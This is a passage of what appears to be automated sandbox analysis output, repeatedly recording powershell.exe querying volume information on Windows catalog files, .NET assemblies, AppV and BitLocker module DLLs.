Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
